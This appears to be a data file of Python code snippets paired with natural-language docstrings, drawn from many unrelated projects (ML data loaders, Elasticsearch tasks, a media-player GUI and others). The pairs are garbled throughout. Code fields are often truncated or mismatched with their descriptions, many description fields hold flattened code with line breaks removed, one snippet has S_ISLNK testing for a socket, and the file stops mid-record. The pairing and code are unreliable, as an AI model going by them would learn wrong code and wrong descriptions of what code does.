"Initialize and setup web server.self.blueprints.apply(self)self.app.on_webserver_init(self)@propertydef url(self) -> URL:Return the canonical URL to this worker (including port)."} {"code": "def S_ISLNK(mode):\n return S_IFMT(mode) == S_IFSOCK\n", "nl": "Return True if mode is from a symbolic link.return S_IFMT(mode) == S_IFLNKdef S_ISSOCK(mode):Return True if mode is from a socket."} {"code": "def _update_device_types(self):\n device_types = self.adapter.device_types()\n for device_type in device_types.items:\n key = device_type.id\n self._make_up_to_date('/device_types', key, device_type)\n", "nl": "Make sure device types are registered in Core"} {"code": "def getActiveMods(uimods=None, temporary=True):\n active_mods = []\n try:\n if not os.path.exists(PREFSFILENAME):\n logger.info(\"No game.prefs file found\")\n return []\n if temporary:\n parser = luaparser.luaParser(PREFSFILENAME)\n parser.loweringKeys = False\n parsedlist = parser.parse(\n {\"active_mods\": \"active_mods\"},\n {\"active_mods\": {}},\n )\n modlist = parsedlist[\"active_mods\"]\n if parser.error:\n logger.info(\"Error in reading the game.prefs file\")\n return []\n uids = [uid for uid, b in list(modlist.items()) if b == 'true']\n else:\n uids = selectedMods[:]\n\n allmods = []\n for m in installedMods:\n if (\n (uimods and m.ui_only)\n or (not uimods and not m.ui_only)\n or uimods is None\n ):\n allmods.append(m)\n active_mods = [m for m in allmods if m.uid in uids]\n return active_mods\n except BaseException:\n return []\n\n", "nl": "uimods:None - return all active modsTrue - only return active UI ModsFalse - only return active non-UI Modstemporary:read from game.prefs and not from settings"} {"code": "def _decode_record(record, name_to_features):\n d = tf.data.TFRecordDataset(input_file)\n d = d.apply(\n tf.data.experimental.map_and_batch(\n lambda record: _decode_record(record, name_to_features),\n batch_size=params[\"batch_size\"],\n drop_remainder=drop_remainder))\n\n return d\n\n return input_fn\n\n", "nl": "Decodes a record to a TensorFlow example._, example = tf.parse_single_sequence_example(record, sequence_features=name_to_features)# tf.Example only supports tf.int64, but the TPU only supports tf.int32.# So cast all int64 to int32.for name in list(example.keys()):t = example[name]if t.dtype == tf.int64:t = tf.to_int32(t)shape = tf.shape(example[name])# sequence_examples come with dynamic/unknown dimension which we reshape# to explicit dimension for the fewshot \"batch\" size.example[name] = tf.reshape(t, tf.concat([[fewshot_batch], shape[1:]], 0))return exampledef input_fn(params):The actual input function."} {"code": "def test_specify_order_fields(self):\n Base = declarative_base()\n\n class MyClass(Base):\n __tablename__ = 'my_table'\n\n id = Column(Integer, primary_key=True)\n job_status = Column(String(50))\n\n status = synonym(\"job_status\")\n\n schema = SQLAlchemySchemaNode(MyClass,\n includes=['foo', 'job_status', 'id'])\n self.assertEqual(['job_status', 'id'], [x.name for x in schema])\n self.assertNotIn('foo', schema)\n\n schema = SQLAlchemySchemaNode(MyClass,\n includes=['id', 'foo', 'job_status'])\n self.assertEqual(['id', 'job_status'], [x.name for x in schema])\n self.assertNotIn('foo', schema)\n", "nl": "Test this issue:How to specify the order in which fields should be displayed ? #45"} {"code": "def hepmass_1M_cluster(dataset_dir: Path) -> bool:\n dataset_name = 'hepmass_1M_cluster'\n os.makedirs(dataset_dir, exist_ok=True)\n\n url_train = 'https://archive.ics.uci.edu/ml/machine-learning-databases/00347/all_train.csv.gz'\n\n local_url_train = os.path.join(dataset_dir, os.path.basename(url_train))\n\n if not os.path.isfile(local_url_train):\n logging.info(f'Started loading {dataset_name}, train')\n retrieve(url_train, local_url_train)\n logging.info(f'{dataset_name} is loaded, started parsing...')\n\n nrows_train, dtype = 1000000, np.float32\n data_train: Any = pd.read_csv(local_url_train, delimiter=\",\",\n compression=\"gzip\", dtype=dtype,\n nrows=nrows_train)\n\n x_train = np.ascontiguousarray(data_train.values[:nrows_train, 1:], dtype=dtype)\n y_train = np.ascontiguousarray(data_train.values[:nrows_train, 0], dtype=dtype)\n\n filename = f'{dataset_name}.npy'\n data = np.concatenate((x_train, y_train[:, None]), axis=1)\n np.save(os.path.join(dataset_dir, filename), data)\n logging.info(f'dataset {dataset_name} is ready.')\n return True\n\n", "nl": "HEPMASS dataset from UCI machine learning repository (https://archive.ics.uci.edu/ml/datasets/HEPMASS).Clustering task. n_classes = 2.hepmass_10K X cluster dataset (1000000, 29)"} {"code": "def status(index, host=ELASTICSEARCH_HOST):\n return query_elasticsearch('/_cluster/health?pretty', host=host, warn_only=True)\n\n\n@task", "nl": "Get the status of an indexquery_elasticsearch(index + '/_status', host=host)@taskdef cluster_health(host=ELASTICSEARCH_HOST):Get cluster status"} {"code": "def test_ignore_frame(self):\n gc.collect()\n gc.disable()\n objs = muppy.get_objects()\n del objs\n self.assertEqual(gc.collect(), 0)\n objs = muppy.get_objects(include_frames=True)\n del objs\n self.assertEqual(gc.collect(), 0)\n gc.enable()\n", "nl": "Test whether reference cycles are created"} {"code": "def test_bad_token_response(self, mock_requests_response):\n\n mock_requests_response.return_value = RequestMockResponse(401, mocked_return_value.encode())\n\n entry_point = EntryPoint(connection, config)\n query_expression = self._create_query_list(\"process_name:cmd.exe\")[0]\n results_response = entry_point.create_results_connection(query_expression, 0, 10)\n\n assert results_response is not None\n assert 'success' in results_response\n assert results_response['success'] == False\n assert 'error' in results_response\n assert results_response['error'] == 'carbonblack connector error => ' + mocked_return_value\n assert 'code' in results_response\n assert results_response['code'] == 'authentication_fail'\n", "nl": "mocked_return_value = 401 Unauthorized

Unauthorized

The server could not verify that you are authorized to access the URL requested. You either supplied the wrong credentials (e.g. a bad password), or your browser doesn't understand how to supply the credentials required.

"} {"code": "def __sub__(self, other) -> tuple:\n\n pending = None\n", "nl": "Return relative distances, assuming self >= other.mros = (subclass.mro() for subclass in self)return tuple(mro.index(cls if cls in mro else object) for mro, cls in zip(mros, other))class multimethod(dict):A callable directed acyclic graph of methods."} {"code": "def test_implode_node_from_xml(self):\n root = self._graph.parse_template_expression(template)\n self.assertIsNotNone(root)\n self.assertIsInstance(root, TemplateNode)\n self.assertIsNotNone(root.children)\n self.assertEqual(len(root.children), 1)\n\n node = root.children[0]\n self.assertIsNotNone(node)\n self.assertIsInstance(node, TemplateImplodeNode)\n", "nl": "template = ET.fromstring()"} {"code": "def topn(self, n=1):\n topn_list = self.to_array()\n topn_list.sort(self.freq_cmp, reverse=True)\n return topn_list[:n]\n", "nl": " Returns top n tokens by their frequenciesDefaul value for n is 1, i.e. most frequent token"} {"code": "def target_urls(self, year=None):\n return [(mapping['generated_filename'], mapping['pre_processed_url'])\n for mapping in self.mappings(year)]\n", "nl": "Returns list of source data urls, optionally filtered by year.return [item['raw_url'] for item in self.mappings(year)]def filename_url_pairs(self, year=None):Returns list of (filename, url) pairs, optional filtered by year."} {"code": "def __init__(self, _body: Optional[Dict] = None, **kwargs: Any) -> None:\n self._slots = self._SlotsCls()\n\n self._to: Optional[Address] = None\n self._sender: Optional[Address] = None\n\n self._update_slots_from_dict(copy(_body) if _body else {})\n self._update_slots_from_dict(kwargs)\n\n try:\n self._is_consistent()\n except Exception as e:", "nl": "Initialize a Message object.:param _body: the dictionary of values to hold.:param kwargs: any additional value to add to the body. It will overwrite the body values."} {"code": "def _is_broken_pipe_error(exc_class, exc):\n return (exc_class is IOError and exc.errno == errno.EPIPE)\nelse:", "nl": "See the docstring for non-Windows Python 3 below.return ((exc_class is BrokenPipeError) or # noqa: F821(exc_class is OSError andexc.errno in (errno.EINVAL, errno.EPIPE)))elif PY2:def _is_broken_pipe_error(exc_class, exc):See the docstring for non-Windows Python 3 below."} {"code": "def nms(self, boxes, overlapThresh):\n\t\tif len(boxes) == 0:\n\t\t\treturn []\n\t\tarray = []\n\t\tfor i in range(len(boxes)):\n\t\t\tarray.append(boxes[i][1:5])\n\t\tarray = np.array(array)\n\t\tpick = []\n\t\tx = array[:,0]\n\t\ty = array[:,1]\n\t\tw = array[:,2]\n\t\th = array[:,3]\n\t\tx1 = x - w / 2\n\t\tx2 = x + w / 2\n\t\ty1 = y - h / 2\n\t\ty2 = y + h / 2\n\t\tarea = (x2 - x1 + 1) * (y2 - y1 + 1)\n\t\tidxs = np.argsort(y2)\n\t\twhile len(idxs) > 0:\n\t\t\tlast = len(idxs) - 1\n\t\t\ti = idxs[last]\n\t\t\tpick.append(i)\n\t\t\txx1 = np.maximum(x1[i], x1[idxs[:last]])\n\t\t\tyy1 = np.maximum(y1[i], y1[idxs[:last]])\n\t\t\txx2 = np.minimum(x2[i], x2[idxs[:last]])\n\t\t\tyy2 = np.minimum(y2[i], y2[idxs[:last]])\n\t\t\tw = np.maximum(0, xx2 - xx1 + 1)\n\t\t\th = np.maximum(0, yy2 - yy1 + 1)\n\t\t\toverlap = (w * h) / area[idxs[:last]]\n\t\t\tidxs = np.delete(idxs, np.concatenate(([last],np.where(overlap > overlapThresh)[0])))\n\t\tret = []\n\t\tfor i in pick:\n\t\t\tret.append(boxes[i])\n\t\treturn ret\n", "nl": " Non Maxima SuppressionArgs:boxes\t\t\t\t\t: List of Bounding BoxesoverlapThreshold\t: Non Maxima Suppression ThresholdReturns:ret\t\t\t\t\t\t: List of processed Bounding Boxes"} {"code": "def zaffine(c0, c1, c2, d):\n\n xx, yy = zmeshgrid(d)\n Hx, Hy = _vector.vector.to_list(xx), _vector.vector.to_list(yy)\n\n Hs = _cp.deepcopy(Hx)\n Hs[0][:, :, 0] = c1 * Hx[0][:, :, 0] + c2 * Hy[0][:, :, 0]\n Hs[-1][1, :, :] = c1 * Hx[-1][1, :, :] + (c0 + c2 * Hy[-1][1, :, :])\n\n d = len(Hs)\n for k in range(1, d - 1):\n Hs[k][1, :, 0] = c1 * Hx[k][1, :, 0] + c2 * Hy[k][1, :, 0]\n\n return _vector.vector.from_list(Hs)\n\n", "nl": "Generate linear function c0 + c1 ex + c2 ey in z ordering with d cores in QTT:param c0::param c1::param c2::param d::return:"} {"code": "def initialize_api(self):\n context.accessor = accessor\n context.app = self\n context.task_runner = worker.TaskRunner()\n\n self.accessor = accessor\n self.args = args\n self.gourde.add_url_rule(\"/\", \"index\", self.index)\n self.gourde.add_url_rule(\"/workers\", \"workers\", self.workers)\n self.gourde.add_url_rule(\"/maintenance\", \"maintenance\", self.maintenance)\n self.gourde.setup(args)\n self.gourde.is_healthy = self.is_healthy\n\n self._register_filters()\n\n self.initialize_api()\n", "nl": "Initialize an API.blueprint = flask.Blueprint(\"api\", __name__, url_prefix=\"/api\")api = flask_restplus.Api(version=\"1.0\", title=\"BigGraphite API\")api.namespaces = []api.add_namespace(ns_bgutil.api)api.add_namespace(ns_biggraphite.api)api.init_app(blueprint)self.app.register_blueprint(blueprint)if flask_cors:# Allow others to request swagger stuff without restrictions.# This helps for https reverse proxy with bad headers.flask_cors.CORS(self.app, resources={r\"/api/swagger.json\": {\"origins\": \"*\"}})def initialize_app(self, accessor, args):Initialize the App."} {"code": "def parse_f02_ios_01(request):\n parse_f01_junos_01 = CiscoConfParse(f01, syntax=\"junos\", comment=\"\n\n yield parse_f01_junos_01\n\n@pytest.fixture(scope=\"function\")", "nl": "Preparsed F5 f02 configuration as ios syntaxparse_f02_ios_01 = CiscoConfParse(f02, syntax=\"ios\", comment=\"#\", factory=False)yield parse_f02_ios_01@pytest.fixture(scope=\"function\")def parse_f01_junos_01(request):Preparsed F5 f01 configuration as junos syntax"} {"code": "def test_models_course_run_state_future_closed(self):\n course_run = CourseRunFactory(\n enrollment_start=self.now - timedelta(hours=2),\n enrollment_end=self.now - timedelta(hours=1),\n start=self.now + timedelta(hours=1),\n end=self.now + timedelta(hours=2),\n )\n self.assertEqual(\n dict(course_run.state),\n {\n \"priority\": 4,\n \"text\": \"enrollment closed\",\n \"call_to_action\": None,\n \"datetime\": None,\n },\n )\n", "nl": "A course run that is future and already closed for enrollment should return a statewith \"enrollment closed\" as text and no CTA."} {"code": "def update(self, pbar):\n\n FORMAT = '%6.2f %s%s/s'\n PREFIXES = ' kMGTPEZY'\n __slots__ = ('unit',)\n", "nl": "Updates the widget to show the ETA or total time when finished.if pbar.currval == 0:return 'ETA: --:--:--'elif pbar.finished:return 'Time: %s' % self.format_time(pbar.seconds_elapsed)else:elapsed = pbar.seconds_elapsedcurrval1, elapsed1 = self._update_samples(pbar.currval, elapsed)eta = self._eta(pbar.maxval, pbar.currval, elapsed)if pbar.currval > currval1:etasamp = self._eta(pbar.maxval - currval1,pbar.currval - currval1,elapsed - elapsed1)weight = (pbar.currval / float(pbar.maxval)) ** 0.5eta = (1 - weight) * eta + weight * etasampreturn 'ETA: %s' % self.format_time(eta)class FileTransferSpeed(Widget):Widget for showing the transfer speed (useful for file transfers)."} {"code": "def build_results(fuzzer, jobs, group_by, date_start, date_end):\n datetime_end = _parse_date(date_end)\n if not datetime_end:\n raise helpers.EarlyExitException('Missing end date.', 400)\n\n if datetime_end < utils.utcnow().date():\n logs.log('Building results for older stats %s %s %s %s %s.' %\n (fuzzer, jobs, group_by, date_start, date_end))\n\n return _build_old_results(fuzzer, jobs, group_by, date_start, date_end)\n\n logs.log('Building results for stats including today %s %s %s %s %s.' %\n (fuzzer, jobs, group_by, date_start, date_end))\n\n return _build_todays_results(fuzzer, jobs, group_by, date_start, date_end)\n\n\n@memoize.wrap(memoize.Memcache(MEMCACHE_TODAY_TTL_IN_SECONDS))", "nl": "Wrapper around the caching wrappers for _build_results. Decides which ofthose wrappers to call based on how long query should be cached for."} {"code": "def server(self, reactor):\n path = mktemp(suffix='.sock', dir='.')\n return UNIXServerEndpoint(reactor, path)\n\n", "nl": "Construct a UNIX server endpoint."} {"code": "def getFormatString(self):\n sb = ['SB{}r'.format(i) for i in range(16)]\n sr = ['SR{}r'.format(i) for i in range(16)]\n mc = ['MC{}r'.format(i) for i in range(16)]\n return sb + sr + mc\n", "nl": "Returns the print format."} {"code": "def colors(self, v):\n )", "nl": "Set the per-vertex colour.self._color = vself._set_dirty()def _fill_indices(self):raise NotImplementedError(\"Lines may not be filled."} {"code": "def crop_and_resize(self, boxes: torch.Tensor, mask_size: int) -> torch.Tensor:\n assert len(boxes) == len(self), \"{} != {}\".format(len(boxes), len(self))\n\n device = boxes.device\n boxes = boxes.to(torch.device(\"cpu\"))\n\n results = [\n rasterize_polygons_within_box(poly, box.numpy(), mask_size)\n for poly, box in zip(self.polygons, boxes)\n ]\n \"\"\"\n if len(results) == 0:\n return torch.empty(0, mask_size, mask_size, dtype=torch.bool, device=device)\n return torch.stack(results, dim=0).to(device=device)\n", "nl": "Crop each mask by the given box, and resize results to (mask_size, mask_size).This can be used to prepare training targets for Mask R-CNN.Args:boxes (Tensor): Nx4 tensor storing the boxes for each maskmask_size (int): the size of the rasterized mask.Returns:Tensor: A bool tensor of shape (N, mask_size, mask_size), whereN is the number of predicted boxes for this image."} {"code": "def import_data(self, raw_data, recursive=False, **kwargs):\n data = self._convert(raw_data, trusted_data=_dict(self), recursive=recursive, **kwargs)\n self._data.converted.update(data)\n if kwargs.get('validate'):\n self.validate(convert=False)\n return self\n", "nl": "Converts and imports the raw data into an existing model instance.:param raw_data:The data to be imported."} {"code": "def _construct_history(self):\n print(\"Constructing history...\", end=\"\"),\n num_dialogs, num_rounds = self.raw_data[\"user_utt_id\"].shape\n max_len = self.params[\"max_history_len\"]\n history = np.full(\n (num_dialogs, num_rounds, max_len), self.pad_token, dtype=np.int32\n )\n history[:, :, 0] = self.start_token\n history_len = np.ones((num_dialogs, num_rounds), dtype=np.int32)\n for diag_id in range(num_dialogs):\n run_history = np.array([], dtype=np.int32)\n run_history_len = 0\n for r_id in range(num_rounds - 1):\n utt_id = self.raw_data[\"user_utt_id\"][diag_id, r_id]\n user_utt = self.raw_data[\"user_sent\"][utt_id]\n user_utt_len = self.raw_data[\"user_sent_len\"][utt_id]\n utt_id = self.raw_data[\"assist_utt_id\"][diag_id, r_id]\n assist_utt = self.raw_data[\"assist_sent\"][utt_id]\n assist_utt_len = self.raw_data[\"assist_sent_len\"][utt_id]\n run_history = np.concatenate(\n [run_history, user_utt[:user_utt_len]], axis=-1\n )\n run_history_len += user_utt_len\n\n copy_len = min(max_len, run_history_len)\n history[diag_id, r_id, :copy_len] = run_history[-copy_len:]\n history_len[diag_id, r_id] = copy_len\n run_history = np.concatenate(\n [run_history, assist_utt[:assist_utt_len]], axis=-1\n )\n run_history_len += assist_utt_len\n self.raw_data[\"history\"] = history\n self.raw_data[\"history_len\"] = history_len\n print(\"done\")\n", "nl": "Method to construct history.History is concatenation of previous utterances + responsesThey serve as memory units that the model can use to encode the currentutterance.For example,'What is the color of the couch? Red. 'What about the table? Blue' isa fact."} {"code": "def _format_number(is_negative, intpart, fracpart, exp, spec):\n\n sign = _format_sign(is_negative, spec)\n\n if fracpart:\n fracpart = spec['decimal_point'] + fracpart\n\n if exp != 0 or spec['type'] in 'eE':\n echar = {'E': 'E', 'e': 'e', 'G': 'E', 'g': 'e'}[spec['type']]\n fracpart += \"{0}{1:+}\".format(echar, exp)\n if spec['type'] == '%':\n fracpart += '%'\n\n if spec['zeropad']:\n min_width = spec['minimumwidth'] - len(fracpart) - len(sign)\n else:\n min_width = 0\n intpart = _insert_thousands_sep(intpart, spec, min_width)\n\n return _format_align(sign, intpart+fracpart, spec)\n\n\n", "nl": "Format a number, given the following data:is_negative: true if the number is negative, else falseintpart: string of digits that must appear before the decimal pointfracpart: string of digits that must come after the pointexp: exponent, as an integerspec: dictionary resulting from parsing the format specifierThis function uses the information in spec to:insert separators (decimal separator and thousands separators)format the signformat the exponentadd trailing '%' for the '%' typezero-pad if necessaryfill and align if necessary"} {"code": "def _get_output_filename(dataset_dir, split_name):\n return '%s/cifar10_%s.tfrecord' % (dataset_dir, split_name)\n\n", "nl": "Creates the output filename.Args:dataset_dir: The dataset directory where the dataset is stored.split_name: The name of the train/test split.Returns:An absolute file path."} {"code": "def getCharactersForReading(self, readingString, readingN=None):\n if not readingN:\n readingN = self.reading\n options = self.getReadingOptions(readingString, readingN)\n return self.characterLookup.getCharactersForReading(readingString,\n readingN, **options)\n", "nl": "Gets all know characters for the given reading.:type readingString: str:param readingString: reading entity for lookup:type readingN: str:param readingN: name of reading:rtype: list of str:return: list of characters for the given reading:raise UnsupportedError: if no mapping between characters and targetreading exists.:raise ConversionError: if conversion from the internal source readingto the given target reading fails."} {"code": "def nb_api_get_func(*instances):\n ids = {instance.id: instance for instance in instances}\n", "nl": "Create an method that can be used to override the mock's nb_api's getto return objects that should exist, e.g. instances that were createdwith create (and verified with the relevant assert):param instances: An iterable of instances that should exist in nb_api:type instances: iterable of instances"} {"code": "def read1(self, n=-1):\n if self.fp is None or self._method == \"HEAD\":\n return b\"\"\n if self.chunked:\n return self._read1_chunked(n)\n if self.length is not None and (n < 0 or n > self.length):\n n = self.length\n result = self.fp.read1(n)\n if not result and n:\n self._close_conn()\n elif self.length is not None:\n self.length -= len(result)\n return result\n", "nl": "Read with at most one underlying system call. If at least onebyte is buffered, return that instead."} {"code": "def testDateTimeWithTimeZone(self):\n\n Derived from Damon Kohlers example:\n\n http://code.activestate.com/recipes/531822-pick-unused-port\n \"\"\"", "nl": "Test DateTimeFields with time zones.class MyMessage(messages.Message):value = message_types.DateTimeField(1)value = datetime.datetime(2013, 1, 3, 11, 36, 30, 123000,util.TimeZoneOffset(8 * 60))message = MyMessage(value=value)decoded = self.PROTOLIB.decode_message(MyMessage, self.PROTOLIB.encode_message(message))self.assertEquals(decoded.value, value)def pick_unused_port():Find an unused port to use in tests."} {"code": "def password(self):\n pass\n", "nl": "The Password for HTTP basic auth for target request."} {"code": "def IsFasta(seq):\n if not seq.name:\n error_info = \"Error, sequence \" + str(seq.no) + \" has no sequence name.\"\n print(seq)\n sys.stderr.write(error_info)\n return False\n if -1 != seq.name.find(\">\"):\n error_info = \"Error, sequence \" + str(seq.no) + \" name has > character.\"\n sys.stderr.write(error_info)\n return False\n if 0 == seq.length:\n error_info = \"Error, sequence \" + str(seq.no) + \" is null.\"\n sys.stderr.write(error_info)\n return False\n\n return True\n\n", "nl": "#################################################################Judge the Seq object is in FASTA format.Two situation:1. No seq name.2. Seq name is illegal.3. No sequence.:param seq: Seq object.#################################################################"} {"code": "def draw(viewport):\n\nin vec2 uv;\nout vec4 f_color;\nuniform sampler2D paint;\nuniform sampler2D mask;\n\nvoid main()\n{\n vec4 paint_frag = texture(paint, uv);\n vec4 mask = texture(mask, uv);\n\n float a = %s;\n\n if (paint_frag.a * a < 1e-6) {\n discard;\n }\n f_color = vec4(paint_frag.rgb / paint_frag.a, paint_frag.a * a);\n}\n\"\"\"", "nl": "Bind the context and instantiate the effect.camera = viewport.cameractx = camera.ctxself._effect = cls(ctx, **params)self.draw = self.real_drawself.draw(viewport)self.draw = drawdef real_draw(self, viewport):if viewport.camera.dims is not self._camera_dims:self._camera_dims = viewport.camera.dimsself._effect._set_camera(viewport.camera)self._effect.draw(partial(self._subchain.draw, viewport))def __getattr__(self, k):if k in self._effect_keys:return getattr(self._effect, k)return object.__getattribute__(self, k)def __setattr__(self, k, v):if not k.startswith('_') and k in self._effect_keys:setattr(self._effect, k, v)object.__setattr__(self, k, v)MASK_PROG = \\"} {"code": "def edit_options(self):\n Opens a dialog box to open files,\n then stores the tracks in the playlist.\n \"\"\"", "nl": "edit the options then read them from fileeo = OptionsDialog(self.root, self.options.options_file,_('Edit Options'))self.options.read(self.options.options_file)self.ytdl.set_options(self.options)OMXPlayer.set_omx_location(self.options.omx_location)def show_help (self):tkMessageBox.showinfo(_(\"Help\"),_(\"To control playing, type a key\\np - pause/play\\nspacebar - pause/play\\nq - quit\\n\")+ _(\"+ - increase volume\\n- - decrease volume\\nz - tv show info\\n1 - reduce speed\\no - forward a chapter\\n\")+ _(\"2 - increase speed\\nj - previous audio index\\nk - next audio index\\ni - back a chapter\\nn - previous subtitle index\\n\")+ _(\"m - next subtitle index\\ns - toggle subtitles\\n>cursor - seek forward 30\\ncursor - seek forward 600\\nSHIFT cursor - next track\\nCTRL =0 else \"-\")+str(x)+(\"+\" if y>=0 else \"-\")+str(y)def set_option(self, option, value):boolean = [\"0\", \"1\"]allowed_options_values = {\"omx_user_options\": \"str\",\"omx_location\": \"str\",\"ytdl_location\": \"str\",\"omx_audio_output\": [\"hdmi\",\"local\",\"both\",\"alsa\"],\"mode\": [\"single\", \"repeat\",\"playlist\",\"repeat playlist\", \"shuffle\"],\"debug\": [\"on\", \"off\"],\"youtube_media_format\": [\"mp4\", \"m4a\"],\"download_media_url_upon\": [\"add\",\"play\"],\"youtube_video_quality\": [\"small\", \"medium\",\"high\"],\"windowed_mode_coords\": self.RE_COORDS,\"windowed_mode_resolution\": self.RE_RESOLUTION,\"autolyrics_coords\": self.RE_COORDS,\"forbid_windowed_mode\": boolean,\"cue_track_mode\": boolean,\"autoplay\": boolean,\"find_lyrics\": boolean,\"full_screen\": boolean}try:allowed_option_values = allowed_options_values[option]except KeyError:raise KeyError(\"Option \" + option + \" is invalid\")option_type = str(type(allowed_option_values))if (allowed_option_values == \"str\" or(\"list\" in option_type and value in allowed_option_values) or(\"SRE_Pattern\" in option_type and allowed_option_values.match(value) != None)):if allowed_option_values == boolean:value = int(value)setattr(self.options, option, value)self.options.save_state()self.options.read(self.options.options_file)if option == \"ytdl_location\":self.ytld.set_options(self.options)elif option==\"omx_location\":OMXPlayer.set_omx_location(self.options.omx_location)else: raise AttributeError(\"Option value does not match an expected value or pattern\")# ******************************************# PROGRESS BAR CALLBACKS# ******************************************def set_progress_bar(self):try:self.progress_bar_step_rate = self.omx.timenf['duration']/self.progress_bar_total_stepsexcept Exception:log.logException()sys.exc_clear()return Falsedef show_progress_bar(self):self.progress_bar.grid()def hide_progress_bar(self):self.progress_bar.grid_remove()def reset_progress_bar(self):self.progress_bar_var.set(0)def set_track_position(self,event):if not self.dbus_connected: returnnew_track_position = self.progress_bar_step_rate * ((event.x * self.progress_bar_total_steps)/event.widget.winfo_width())try:self.omx.set_position(new_track_position)except Exception:log.logException()sys.exc_clear()self.monitor(\"Failed to set track position\")self.focus_root()def set_progress_bar_step(self):try:self.progress_bar_var.set(int((self.omx.position * self.progress_bar_total_steps)/self.omx.timenf['duration']))except Exception:log.logException()sys.exc_clear()self.monitor('Error trying to set progress bar step')# ******************************************# VIDEO WINDOW FUNCTIONS# ******************************************def create_vprogress_bar(self):screenres = self.get_screen_res()vsize = self.omx.video['dimensions']self.vprogress_bar_window = Toplevel(master=self.root)self.vprogress_bar_frame = Frame(self.vprogress_bar_window, bg=\"black\")self.vprogress_bar_frame.pack(fill=BOTH,side=TOP, expand=True)#defne response to main window closingself.vprogress_bar_window.protocol (\"WM_DELETE_WINDOW\", self.vprogress_bar_window.destroy)self.vprogress_bar_window.video_height = screenres[1]self.vprogress_bar_window.video_width = int(vsize[0] * (screenres[1] / float(vsize[1])))self.vprogress_bar_window.resizing = 0if self.vprogress_bar_window.video_width > screenres[0] + 20:self.vprogress_bar_window.video_width = screenres[0]self.vprogress_bar_window.video_height = int(vsize[1] * (screenres[0] / float(vsize[0])))if self.options.full_screen:geometry = \"%dx%d-0-0\" % screenreselse:coords = self.options.windowed_mode_coordscoords_m = self.RE_COORDS.match(coords)if coords_m is None or int(coords_m.group(1))>screenres[0] or int(coords_m.group(2))>screenres[1]:coords = \"+200+200\"geometry = self.options.windowed_mode_resolution + coordsself.vprogress_bar_window.geometry(geometry)self.vprogress_bar_window.overrideredirect(1)self.vprogress_bar_window.resizable(True,True)self.vprogress_bar = Progressbar(self.vprogress_bar_window, orient=HORIZONTAL, length=self.progress_bar_total_steps, mode='determinate',maximum=self.progress_bar_total_steps, variable=self.progress_bar_var,style=\"progressbar.Horizontal.TProgressbar\")self.vprogress_bar.pack(in_=self.vprogress_bar_frame, fill=BOTH,side=BOTTOM)self.root.update()self.vprogress_bar.bind(\"\", self.set_track_position)self.vprogress_bar_window.bind(\"\", self.move_video)self.vprogress_bar_window.bind(\"\", self.vwindow_start_move)self.vprogress_bar_window.bind(\"\", self.vwindow_stop_move)self.vprogress_bar_window.bind(\"\", self.vwindow_motion)self.vprogress_bar_window.bind(\"\", self.toggle_full_screen)self.vprogress_bar_window.bind(\"\", self.vwindow_show_and_hide)self.vprogress_bar_window.bind(\"\", self.restore_window)# Resize widget, placed in the lower right corner over the progress bar, not ideal.self.vprogress_grip = Sizegrip(self.vprogress_bar_window)self.vprogress_grip.place(relx=1.0, rely=1.0, anchor=\"se\")self.vprogress_grip.bind(\"\", self.vwindow_start_resize)self.vprogress_grip.bind(\"\", self.vwindow_stop_resize)self.vprogress_grip.bind(\"\", self.vwindow_motion)self.vprogress_bar_window.protocol (\"WM_TAKE_FOCUS\", self.focus_root)self.vwindow_show_and_hide()def vwindow_start_move(self, event):if self.options.full_screen == 1: returnself.vprogress_bar_window.x = event.xself.vprogress_bar_window.y = event.ydef vwindow_stop_move(self, event):if self.options.full_screen == 1: returnself.vprogress_bar_window.x = Noneself.vprogress_bar_window.y = Noneself.save_video_window_coordinates()def vwindow_motion(self, event):if self.options.full_screen == 1:returntry:deltax = (event.x - self.vprogress_bar_window.x)/2deltay = (event.y - self.vprogress_bar_window.y)/2except (TypeError, AttributeError):log.logException()sys.exc_clear()returnif not self.vprogress_bar_window.resizing:x = self.vprogress_bar_window.winfo_x() + deltaxy = self.vprogress_bar_window.winfo_y() + deltayself.vprogress_bar_window.geometry(\"+%s+%s\" % (x, y))else:w = self.vprogress_bar_window.winfo_width() + deltaxh = self.vprogress_bar_window.winfo_height() + deltaytry:self.vprogress_bar_window.geometry(\"%sx%s\" % (w, h))except Exception:log.logException()sys.exc_clear()self.options.full_screen = 1self.toggle_full_screen()self.vwindow_show_and_hide()def vwindow_start_resize(self,event):if (not self.media_is_video() orself.options.full_screen == 1 ornot self.vprogress_bar_window):returnself.vprogress_bar_window.resizing = 1def vwindow_stop_resize(self,event):if (not self.media_is_video() orself.options.full_screen == 1 ornot self.vprogress_bar_window):returnself.vprogress_bar_window.resizing = 0self.save_video_window_coordinates()def vwindow_show_and_hide(self, *event):self.vprogress_bar.lift(self.vprogress_bar_frame)if not self.options.full_screen:self.vprogress_grip.lift(self.vprogress_bar)self.move_video(pbar=True)if not hasattr(self, '_vwindow_show_and_hide_flag'):self._vwindow_show_and_hide_flag = Noneif self._vwindow_show_and_hide_flag is None:self._vwindow_show_and_hide_flag = self.root.after(3000, self.vwindow_hide)else:# refresh timerself.root.after_cancel(self._vwindow_show_and_hide_flag)self._vwindow_show_and_hide_flag = self.root.after(3000, self.vwindow_hide)def vwindow_hide(self):if self.play_state == self._OMX_PLAYING:self._vwindow_show_and_hide_flag = Noneself.vprogress_bar.lower(self.vprogress_bar_frame)self.vprogress_grip.lower(self.vprogress_bar_frame)self.move_video(pbar=False)def set_full_screen(self,*event):if not self.dbus_connected: returnscreenres = self.get_screen_res()try:self.omx.set_video_geometry(0, 0, screenres[0], screenres[1])self.vprogress_grip.lower(self.vprogress_bar_frame)except Exception as e:self.monitor(' [!] set_full_screen failed')self.monitor(e)def toggle_full_screen(self,*event):hasvbw = hasattr(self, 'vprogress_bar_window')if (not self.dbus_connectedor self.options.forbid_windowed_modeor not self.media_is_video()or not hasvbwor (hasvbw and not self.vprogress_bar_window)):returnscreenres = self.get_screen_res()if self.options.full_screen == 1:self.options.full_screen = 0width, height = (480, 360)vsize_m = self.RE_RESOLUTION.match(self.options.windowed_mode_resolution)if vsize_m:width, height = [int(i) for i in vsize_m.groups()]coords = self.options.windowed_mode_coordscoords_m = self.RE_COORDS.match(coords)if coords_m is None or int(coords_m.group(1))>screenres[0] or int(coords_m.group(2))>screenres[1]:coords = \"+200+200\"geometry = \"%dx%d%s\" % (width, height, coords)self.vprogress_bar_window.geometry(geometry)else:self.options.full_screen = 1self.save_video_window_coordinates()geometry = \"%dx%d+%d+%d\" % ( screenres[0], screenres[1], 0, 